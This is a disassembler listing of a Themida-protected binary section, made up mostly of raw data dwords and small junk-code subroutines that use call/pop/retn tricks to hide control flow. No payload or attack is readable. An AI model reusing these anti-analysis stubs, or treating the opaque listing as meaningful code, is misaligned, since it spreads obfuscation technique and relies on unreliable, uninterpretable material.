		dd 22F02848h, 60F22A48h, 422D1CE3h, 2F51BA14h, 49BEF2B2h
		dd 6F4B3272h, 0EDA2C155h, 0BEF471C1h, 7D13A61Ch, 8A9E7D1Bh
		dd 0B74CB752h, 2313A61Eh, 1EB146C3h, 0B41D13A6h, 16A495Bh
		dd 31C537C9h, 0A737B44Ah, 20798D6Ch, 0FF17F40Eh, 2D78556Bh
		dd 0A4DC3553h, 0A60706F7h, 4BFB7E13h, 7D957210h, 5C74516Bh
		dd 0BDD5B2C8h, 0C2DAB785h, 0C3834C8Ah, 0C50B2698h, 0C726C50h
		dd 0EB03E0FAh, 0A7F8057h, 2758D878h, 81000001h,	5D39424Dh
		dd 1D9AEA43h, 13A6BE43h, 0E658A811h, 0F5D1AB38h, 0E5B97BDBh
		dd 9D79DAFh, 0A680142Ch, 8330C744h, 359E13A6h, 142C0923h
		dd 6BE84ADCh, 13A68394h, 0B2C8A642h, 7486DF7Ah,	15657D5Ah
		dd 6F819B77h, 0E2A26BA9h, 204019B7h, 21411AE8h,	0E3F54EE9h
		dd 40D4ECC9h, 1703F466h, 0CAE509E4h, 1D7D80E9h,	0A1B3A079h
		dd 77CA39C6h, 4A9ED8h, 4CBE0000h, 12B00B1Fh, 8B607243h
		dd 1A6A444Dh, 0BD5F069Dh, 40E3556Bh, 70F4FF7Eh,	9801E0F2h
		dd 0B7CBAA48h, 4D32DFA5h, 0CE94427Bh, 0D3A1D9F1h, 67A5DDF7h
		dd 0ADAAE69Eh, 0DBB6BEE6h, 910683D3h, 0BDEBBD84h, 6BF2C054h
		dd 81000000h, 1C6C424Dh, 0A6B9F59Fh, 0FA329B13h, 0F2890668h
		dd 6013A6BAh, 0EECBE5F7h, 4F2C42D6h, 0B6DFF37h,	0A6BAE98Eh
		dd 70FC6513h, 0A43F7797h, 0BA199992h, 591D13A6h, 0B0C2E2BBh
		dd 0FEC5313h, 0EB8963F7h, 0BDE0F212h, 0F8CDCD2h, 144E828Ch
		dd 532159C2h, 700E5E76h, 0A7427A94h, 4118CF95h,	307E1105h
		dd 0CC7863E0h, 0AD161C66h, 424D4819h, 0B9455B39h, 1C6CC5DBh
		dd 0AA993C9Fh, 0D9B55313h, 7AA911B8h, 55E5E6Ah,	412032CDh
		dd 0F5D2A0D8h, 58B1D1AAh, 0B9D1AEC4h, 0FFE7D481h, 25A25DE9h
		dd 921FE61h, 6A825F75h,	71856432h, 778D6B39h, 7B95713Fh
		dd 431CA843h, 870AEB23h, 471E93DFh, 2B43201Fh, 8CA48197h
		dd 0FCE54h, 925D0000h, 9DFD19F4h, 2424B0F1h, 775A6C70h
		dd 5C7E5628h, 61795624h, 677D5B29h, 6987612Fh, 6C886331h
		dd 6F8B6634h, 768A6937h, 7A94703Eh, 7B9B7442h, 8956EE43h
		dd 4C681E6h, 83000000h,	0FF5604EEh, 5E042474h, 5C24048Fh
		dd 4EC81h, 14890000h, 0E3895324h, 4C381h, 0EB810000h, 4
		dd 5C241C87h, 68240489h, 7E83A0Fh, 8124148Bh, 4C4h, 48B5400h
		dd 4C48324h, 27F268h, 24148900h, 0FF08408Fh, 81582434h
		dd 4C4h, 24148B00h, 81E18951h, 4C1h, 4C18300h, 5C240C87h
		dd 0FC3E6AE9h, 40B1A2FFh, 6D1D20F5h, 0E83F1BB8h, 0FFC50307h
		dd 0F885ABE0h, 17FBA12Eh, 778DF130h, 0E182EE67h, 2E561569h
		dd 63E0B85Ah, 68274667h, 62B4FF70h, 8BE0365Ah, 2C594243h
		dd 64D06F5Dh, 589DBB56h, 0F629A305h, 0F3F4B60Ah, 0AB46DD54h
		dd 0C1ED5D29h, 3F516138h, 4E368A3Ch, 9953C429h,	694D4806h
		dd 0E9C18B52h, 9, 12DCE2Ah, 0E0AD7D5Dh,	4EBDFh,	8B000000h
		dd 0E401A1BDh, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 24F49CA6h, 0B7E2348Ch
		dd 85858D4Eh, 6607E40Dh, 9170C781h, 24048950h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 76C35747h, 2AF691CCh
		dd 759D89C8h, 6A07E415h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 12C53CD2h, 2BC0A5CEh
		dd 81666DCAh, 6A3D55D6h, 94858D00h, 0F07E841h, 68Bh, 3D9D8900h
		dd 8307E405h, 0E89005C0h, 9, 0A6F3BA9Bh, 0D71C02Bh, 53505F6Eh
		dd 5F616051h, 6A905Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 0F4F167C3h, 236D813Bh, 0F5B80C12h
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 7D96C7C3h, 9DE8A018h, 29006AF6h, 0E41C3985h
		dd 13E907h, 0E2580000h,	0D4B16EF3h, 0E4A280B7h,	806CF5B4h
		dd 0DA833A01h, 7195FF1Fh, 0BE07E424h, 763B83CEh, 0D64B9D8Dh
		dd 10E907E7h, 9000000h,	90A9E7FEh, 0F572C3Ah, 0C43CC39Dh
		dd 8B2C298Ah, 0E41A09BDh, 89D3FF07h, 0E41C7DBDh, 0B985FF07h
		dd 6A07E420h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 1F1BC356h, 3817A79Bh, 47CF8166h
		dd 0E1BD03E8h, 0E907E422h, 8AAh, 0E8h, 0ED815D00h, 7E8419Eh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 39C35747h
		dd 8D01DA12h, 7E42ACDh,	2AD5BD81h, 7D007E4h, 860F0000h
		dd 179h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 17h,	0B7C35141h, 81587F5Fh, 29A450CEh, 5E902h, 21E10000h
		dd 8BD2C97Dh
		dd 0E406FD9Dh, 68F0F07h, 8B000000h, 0E415E1B5h,	0E38107h
		dd 0F000001h, 13E9F0BFh, 3C000000h, 0D981EFD1h,	0B92FFFF5h
		dd 0FC8957D6h, 53293B1Ch, 0DB0B475Dh, 8F850Fh, 8D290000h
		dd 7E41459h, 4004BD83h,	0F0007E8h, 3C84h, 4ABF6600h, 0A9E9B4h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0E9121DC3h, 11h, 0E7CC4CB5h, 0B4C17817h
		dd 0CDDF3750h, 73029C6h, 485C710h, 107E840h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0AC27C356h, 568778FDh, 552E9756h,	279B58Bh
		dd 3CE907E4h, 29000000h, 0E40AE995h, 485C707h, 7E840h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 8980C353h, 0E41AC985h,	5E907h
		dd 0D0A00000h, 8D42FF32h, 0E406FD9Dh, 6810F07h,	89000000h
		dd 0E41FA985h, 0FF238107h, 6AFFFFFEh, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 33FAC353h
		dd 0E2ACF63Bh, 8B661ABFh, 6810FF2h, 1000000h, 0E4067995h
		dd 0DB8C6607h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	0C6C35343h, 4C3F615h, 42840Fh, 95FF0000h, 7E42D91h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0FC35545h
		dd 0BD29D926h, 7E424CDh, 8820F50h, 60000000h, 310F5250h
		dd 8961585Ah, 95312404h, 7E42AEDh, 4A3E9h, 81B58B00h, 0B007E414h
		dd 0EE900h, 0F3070000h,	5EBDA5FDh, 2A9F8DF1h, 0ED694517h
		dd 6A70E6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0BF49A3C3h, 671DA23Bh, 12E9h, 0E58E7A00h
		dd 2399BE28h, 737B769Eh, 0C7BFC543h, 0E4A46EDCh, 0CDB50371h
		dd 0F07E429h, 890FD8B6h, 10h, 0BE9h, 47DCEE00h,	102BD665h
		dd 524EF65Dh, 6BAh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 529E2703h, 0FB03D41h
		dd 1483h, 0FE900h, 0E5A40000h, 7B05F1C6h, 67360A38h, 6CF761A0h
		dd 6AC38B8Ah, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 7C3EC353h, 5D9D8998h, 8B07E405h
		dd 4E8C1F2h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	6FC35747h, 9556F446h, 8937F501h, 0E413ED8Dh, 0E2F76607h
		dd 6AD82Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 14208C3h,	68AE5364h, 14E898h, 95F50000h
		dd 0AFB16B2Eh, 61EDFC08h, 0B4A57A7Ah, 0A88248D4h, 8B66DDF7h
		dd 50935FFAh, 6E952h, 0E5DA0000h, 4253D8FCh, 28BE310Fh
		dd 5A42CEA7h, 0EDBE5058h, 9305E9F8h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 4EC35343h, 0D5B5FF19h, 0E907E42Ah
		dd 8, 835240D8h, 462EB6F2h, 0E4195FFh, 6A07E4h,	3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 76D0E4C3h, 7E233955h, 357DD8Bh, 0E41BDDB5h, 0B05F07h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0C9C35040h
		dd 38530E1Eh, 0FC8C5B2h, 70E6F3B7h, 5E860h, 99790000h
		dd 0F99E02A4h, 79B5895Fh, 6107E42Dh, 9D8971E4h,	7E40991h
		dd 830F613Ch, 284h, 18158D89h, 0B60F07E4h, 6BAD8h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0D81DADC3h, 3BACE58Ah, 0C9B51BFh, 6AC38B07h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0F1AAC350h, 1CB4ED21h, 0FEB9273h, 0E8C1FEBFh, 51006A04h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 26A0F657h, 0F76664C4h, 53006AE2h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 8BD82BA1h
		dd 0E42C6DB5h, 6A5807h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 210239C3h, 0E9F8FED8h, 7, 7F34C727h
		dd 2B6B4907h, 0A5880FD8h, 6A000001h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0AF81C350h
		dd 9F714218h, 0CF3F5BEEh, 7B9h,	0C18300h, 7E8h,	0E96AE000h
		dd 0C25D8436h, 0B8D0Fh,	6E90000h, 0E4000000h, 3E41353Dh
		dd 0D93B5E21h, 152860Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 93C8D2C3h, 0BFC26AEBh
		dd 507BC1F9h, 6AD98C66h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 16B6C357h, 0EDAC77C8h
		dd 7DB58B51h, 0F607E415h, 840F04C1h, 0F1h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0D3C35040h, 4D6156E8h
		dd 958AE8F7h, 95FFFC4Dh, 7E42D91h, 52006A5Bh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0E8E12989h
		dd 71B8B6C4h, 0F59D8915h, 2B07E420h, 55006AC3h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0BF660261h
		dd 343DE2E2h, 0F000008h, 6C86h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0C5B4F4ACh
		dd 77F541DAh, 0BE9D3h, 455A0000h, 0DE55DD3Eh, 8C1C9FAFh
		dd 0DE9ACh, 0E1600000h,	0C768901h, 0B08FBDDCh, 0E93CD8BFh
		dd 28h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h
		dd 4C35646h, 0A873F2EEh, 0BEC08B9Eh, 2CE41AEBh,	0D88BC38Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 81C35040h
		dd 85C78DE4h, 7E41AC5h,	7378471Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 51C35141h, 0EE966h,	217D0000h
		dd 0AFAD7241h, 47EA49F4h, 0D22E8A13h, 0BD81C08Bh, 7E42AD5h
		dd 7D0h, 10850Fh, 0B5290000h, 7E4181Dh,	2AD585FFh, 0BF6607E4h
		dd 0B5FFED33h, 7E42AD5h, 29BD8529h, 0BD8B07E4h,	7E42DC5h
		dd 0E4195FFh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 8BB116C3h, 0E41A71BDh, 49BD8B07h
		dd 9007E426h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 17h,	46C35040h, 8BC40B36h, 0E41531B5h, 0CE907h, 2BBC0000h
		dd 0D45FE636h, 2251BB75h, 6A64BCh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 8DCECAC3h, 9D292F26h
		dd 7E43329h, 6AFA8Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0D2AF9BC3h, 0F986F5F6h, 0F18D2980h
		dd 0E907E431h, 9, 625378E9h, 538C51DDh,	1BC68156h, 814DE307h
		dd 0C80BFDF7h, 0E820F16h, 60000000h, 0C3AACB81h, 85895352h
		dd 7E42525h, 50006A61h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 0E635B0E5h, 0C870FDCh, 8B000000h
		dd 0E40D45BDh, 6DBD8B07h
		dd 6A07E405h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 2E8FC351h, 0A997073Dh,	8D0953A0h
		dd 7E431C1h, 0FFF75FE9h, 0FBBF0FFFh, 2149BD8Bh,	0C18B07E4h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 79C35545h
		dd 0F3BF6618h, 104EB19h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 2AABC355h
		dd 0AA73342Bh, 5860F72h, 66000000h, 602CDF81h, 8DF2BF0Fh
		dd 0E40D8585h, 7E95007h, 0B0000000h, 53F4E938h,	4893B7Eh
		dd 57006A24h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 59B589B7h, 6A07E42Dh, 51006A00h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0F7810996h
		dd 3B63F9D9h, 0BE9h, 92F7D700h,	56270B47h, 81C7AAB6h, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0AB28A8C3h, 0CBFFF1C0h, 0E98B0F35h, 0Ah, 0B48E1B06h
		dd 0F9129E67h, 858D08B4h, 7E84C24h, 2C598529h, 0C08307E4h
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 93DE7173h, 634EC9A1h, 0F50B302h,	48Bh, 0AFBE6600h
		dd 2404897Ch, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 18h,	0B6C35040h, 0C4F5FCB0h,	10E9h, 67069900h, 0A26EEF0h
		dd 0C0446454h, 621A92D0h, 51BD299Eh, 6A07E42Dh,	0FD958900h
		dd 6A07E408h, 0B5016000h, 7E40F21h, 68F0Fh, 860F0000h
		dd 0
; ---------------------------------------------------------------------------
		popa
		call	dword ptr [ebp+7E42471h]
		push	0
		push	ecx
		call	sub_5C7076
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C7076	proc near		; CODE XREF: Themida_:005C706Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5C7076	endp

; ---------------------------------------------------------------------------
		dw 2636h
; ---------------------------------------------------------------------------
		and	dh, 8Bh
		mov	ebp, 7E401DDh
		lea	ebx, [ebp+7E7D64Bh]
		mov	esi, [ebp+7E407BDh]
		call	ebx	; _iob
		mov	esi, 37C71F1Ah
		inc	dword ptr [ebp+7E420B9h]
		mov	edi, [ebp+7E423B1h]
		jmp	loc_5C78FC
; ---------------------------------------------------------------------------
		call	$+5
		pop	ebp
		sub	ebp, 7E84C2Eh
		mov	esi, [ebp+7E415C5h]
		cmp	dword ptr [ebp+7E42AD5h], 7D0h
		jbe	loc_5C7236
		push	0
		push	ebx
		call	sub_5C70E1
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C70E1	proc near		; CODE XREF: Themida_:005C70D9p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5C70E1	endp

; ---------------------------------------------------------------------------
		db 0F3h, 11h, 66h
; ---------------------------------------------------------------------------
		adc	esi, 9D8B7D0Dh
		push	ebp
		add	eax, 6A07E4h
		push	ecx
		call	sub_5C7109
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C7109	proc near		; CODE XREF: Themida_:005C7101p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5C7109	endp

; ---------------------------------------------------------------------------
		db 0E0h, 1Fh, 76h
; ---------------------------------------------------------------------------
		retf	96CAh
; ---------------------------------------------------------------------------
		db 0FAh
		dd 895825B8h, 0E43079B5h, 0E38107h, 60000001h, 149D9D8Bh
		dd 0F18107E4h, 3EF5D87Dh, 0FDB0B61h, 9285h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 0F6A116F1h, 0FA7C00BAh, 4A68BD83h, 0F0007E8h, 4D84h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 0E8DDA338h, 0D0FA7EB0h, 198D0F8Ch, 0E9000000h
		dd 14h,	0ED3C3A80h, 842DE3A1h, 654EF3C2h, 14CB4027h, 116916Ch
		dd 0D9CF8166h, 27E997h,	85C70000h, 7E84A68h, 1,	55DB531h
		dd 12E907E4h, 0C7000000h, 0E84A6885h, 7, 2810F00h, 8B000000h
		dd 559D8DF0h, 6A07E405h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 646FC355h, 0F5BD72B1h
		dd 33137EFBh, 0B4BA2BBEh, 0FF238122h, 0E9FFFFFEh, 12h
		dd 0F6D7BFD5h, 6B231420h, 9F971D4h, 0A3AF12CCh
		db 8Ah,	5Eh
; ---------------------------------------------------------------------------


loc_5C7236:				; CODE XREF: Themida_:005C70D0j
		mov	bx, ds
		push	0
		push	ecx
		call	sub_5C7244
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C7244	proc near		; CODE XREF: Themida_:005C723Cp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5C7244	endp

; ---------------------------------------------------------------------------
		dd 376F0E22h, 3315EBE4h, 0C3F61ADCh, 51840F04h,	0F000000h
		dd 0C8Fh, 68B0F00h, 0F000000h, 87h, 9195FF00h, 6607E42Dh
		dd 0E850F98Bh, 10h, 0DF48E7A7h,	0E256BB54h, 95578211h
		dd 64014208h, 2830Fh, 0F18B0000h, 2404895Eh, 5E860h, 42E40000h
		dd 23A2D8C5h, 0E40F31BDh, 61F55F07h, 3DEE9h, 0C5952900h
		dd 0B007E421h, 10E900h,	57CF0000h, 480798B8h, 51B5CB7Fh
		dd 83D7E214h, 70E64F21h, 0A19D8B60h, 0B607E406h, 71E46112h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 9AC35040h
		dd 1C2B3264h, 0FD24058h, 6AD8B6h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 65FF0BC3h, 6BAFC1Eh
		dd 1000000h, 0E41B8DBDh, 66C38B07h, 0E8C1FB8Bh,	1D8A0F04h
		dd 0E8000000h, 11h, 61A7ED0h, 7B3D7AA2h, 0BE845930h, 0C5EFD5DDh
		dd 0C5B58BA3h, 5F07E42Eh, 6AE2F766h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 33D8C352h
		dd 60629391h, 1429858Bh, 0D78B07E4h, 60D82B61h,	1E619589h
		dd 952907E4h, 7E40245h,	0BE669361h, 0E850204Bh,	6, 59D99D5Dh
		dd 0EE8F763h, 0A3000000h, 1D9FF66Ch, 577F0442h,	2BF0EAE8h
		dd 5F61605Ah, 0B70F935Eh, 0A5B58BF7h, 0FF07E40Bh, 0E42AD5B5h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 26EEF067h, 1B5890Ah, 0FF07E404h,	0E40E4195h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 0B59D89AEh, 907E427h, 0E42FED85h, 6600B007h
		dd 358FE681h, 6A70E6F8h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0FBD2C355h,	897FE00Dh
		dd 0E4040185h, 8971E407h, 0E4064D85h, 0C7816607h, 613C17C9h
		dd 229830Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 0BF30D2C3h, 14E92537h, 66D8B60Fh
		dd 0BA592DBFh, 6, 3850Fh, 8B660000h, 0E9C38BF1h, 7, 0CE661514h
		dd 0C140B4B1h, 6A04E8h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 0D6530CC3h, 0C68DEE39h, 52E1FAE9h
		dd 58E0Fh, 81660000h, 5E2E23EFh, 6AE2F766h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 5639C353h
		dd 52E2F800h, 0FE957h, 5CE40000h, 6904A4ABh, 0D026640Eh
		dd 6E7A7D18h, 2B5E5F9Ah, 68F0FD8h, 89000000h, 0E40E2995h
		dd 0BD8B5807h, 7E400EDh, 880FD82Bh, 157h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Dh, 89C35242h, 6713D27Ah
		dd 90805577h, 0B58960CBh, 7E409F5h, 0F618509h, 0B96107E4h
		dd 7, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h, 1Ah
		dd 0BFC35242h, 53D65D30h, 850F09C0h, 5,	91EF8166h, 19CE8182h
		dd 0F0ABE65h, 0C183FEBFh, 61B58900h, 3B07E40Bh,	0D8860FD9h
		dd 9000000h, 0E401A1BDh, 0D98C6607h, 13E9h, 4F4DC900h
		dd 504BDB2Bh, 0C4BC784h, 0E13D7863h, 73436134h,	0BE9h
		dd 95CFB900h, 0A53405B0h, 57DC5E8Eh, 0F04C1F6h,	9784h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 880F2CE7h, 6, 0A29B531h,	95FF07E4h, 7E42D91h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 9FC35141h
		dd 334DE5F5h, 880F9274h, 5, 0BEDE8166h,	0C32B5BA0h, 8B0Fh
		dd 343D0000h, 0F000008h, 2786h,	29E900h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 51A10BC3h, 0F6B70FE8h, 0ACBFC08Bh, 8B51CCB8h, 0E8D88BC3h
		dd 0Bh,	0A8CCFFDCh, 0FB333A91h,	0F7C64CCh, 587h, 539BF00h
		dd 0C75E69B7h, 0E406FD85h, 0FE95307h, 0B5950137h, 8B07E427h
		dd 55006AC0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 8EB0D893h, 79A4CE83h, 1AA19D29h,	5F5107E4h
		dd 2AD5BD81h, 7D007E4h,	850F0000h, 32h,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 18h, 45C35242h, 0A33CB076h
		dd 19E19D89h, 85FF07E4h, 7E42AD5h, 1B7D8589h, 0B5FF07E4h
		dd 7E42AD5h, 9F8858BFh,	4195FF3Ah, 6607E40Eh, 6A90F88Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 96D1C352h, 0BA6D6E97h, 0FCE65555h, 3F78A60h
		dd 0E429F9B5h, 0C6BF0F07h, 6E9h, 7BDC2200h, 61CAF671h
		dd 0BDE78166h, 51006A1Eh, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 0A0CCF7C1h, 70D3C75Ch
		dd 7E855A8h, 0D000000h,	61BF4F81h, 11E91554h, 3A000000h
		dd 166DB210h, 0FE92EC35h, 2E4F8A3Ah, 1B60F2FDh,	7BDE8166h
		dd 0B58B5EA3h, 7E40B51h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 17h, 5AC35141h, 2B336F8Ah,	0E415C5B5h, 89DE8107h
		dd 0E9462F00h, 0Ch, 0BF2DF4B3h,	8BD511BFh, 0EE6834E2h
		dd 9E8h, 16916C00h, 78F001h, 8D89864Ah,	7E405B5h, 57006A5Eh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 98814C78h, 952B60C6h, 7E4237Dh, 3047D881h, 0FE82D4Fh
		dd 75000000h, 0BAC55451h, 5E53D47Dh, 0EDBD1A0Fh, 8B663C38h
		dd 8D9D8BC3h, 5B07E42Dh, 0FE8B6661h, 0FFF82BE9h, 57006AFFh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 39D8320Bh, 137A00C8h, 0CE84Fh, 3F020000h, 0C555AA2Ch
		dd 3D0CAD91h, 12E9A0ADh, 65000000h, 5AD9FC74h, 20587C7Eh
		dd 0E8C891E6h, 417438F5h, 0FD9D01CFh, 5F07E419h, 10E8h
		dd 0FE1B1600h, 0CB8E0801h, 4BB99AAAh, 1DA68D4Eh, 0F3EDBFC3h
		dd 13BF0247h, 5E705521h
; ---------------------------------------------------------------------------


loc_5C78FC:				; CODE XREF: Themida_:005C70AFj
		mov	eax, ecx
		push	0
		push	ebx
		call	sub_5C7909
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C7909	proc near		; CODE XREF: Themida_:005C7901p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5C7909	endp

; ---------------------------------------------------------------------------
		db 0E5h, 0D3h, 0EBh
		dd 104h, 14E900h, 0A6C80000h, 34418B22h, 53B26601h, 0F978DF7Ch
		dd 0EB3224F2h, 6A91CBh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 0CD4B16C3h, 0B7E90DFAh, 0FB271FFh
		dd 684h, 0FDB58B00h, 8D07E42Dh,	0E40D8585h, 0B58B5707h
		dd 7E415ADh, 0BF50905Fh, 3F2E41C7h, 56006A90h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 6DC74650h
		dd 2C0D9529h, 6A07E4h, 820Fh, 6A0000h, 0BD89FB8Bh, 7E42D3Dh
		dd 569B858Dh, 6A07E8h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 0FD2218C3h, 0EB24B15Eh, 8BE0EDD5h
		dd 0E425CDBDh, 5C08307h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Dh, 94C35141h, 4B423A86h,	0CCF9BAB9h, 12E962h
		dd 0FC560000h, 0D0461323h, 37616078h, 890CD9B6h, 0A24753ABh
		dd 820Fh, 66900000h, 500E28BFh,	0A800Fh, 52500000h, 0DE35BE66h
		dd 585A310Fh, 6AF990h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 2EC35141h, 0B9BE4840h, 0A558E777h, 0BE8h
		dd 21A1FB00h, 9A9762BDh, 0D00ADA24h, 2389BD33h,	6A5F07E4h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 31F0B0FAh, 8866E7F5h, 0FFF08B8Ch, 0E4247195h
		dd 0CE816607h, 9D8DF516h, 7E7D64Bh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 60C35747h, 0F117660Ch, 0BF46404h
		dd 0E409A5BDh, 6AD3FF07h, 3E85500h, 20000000h, 895DC35Dh
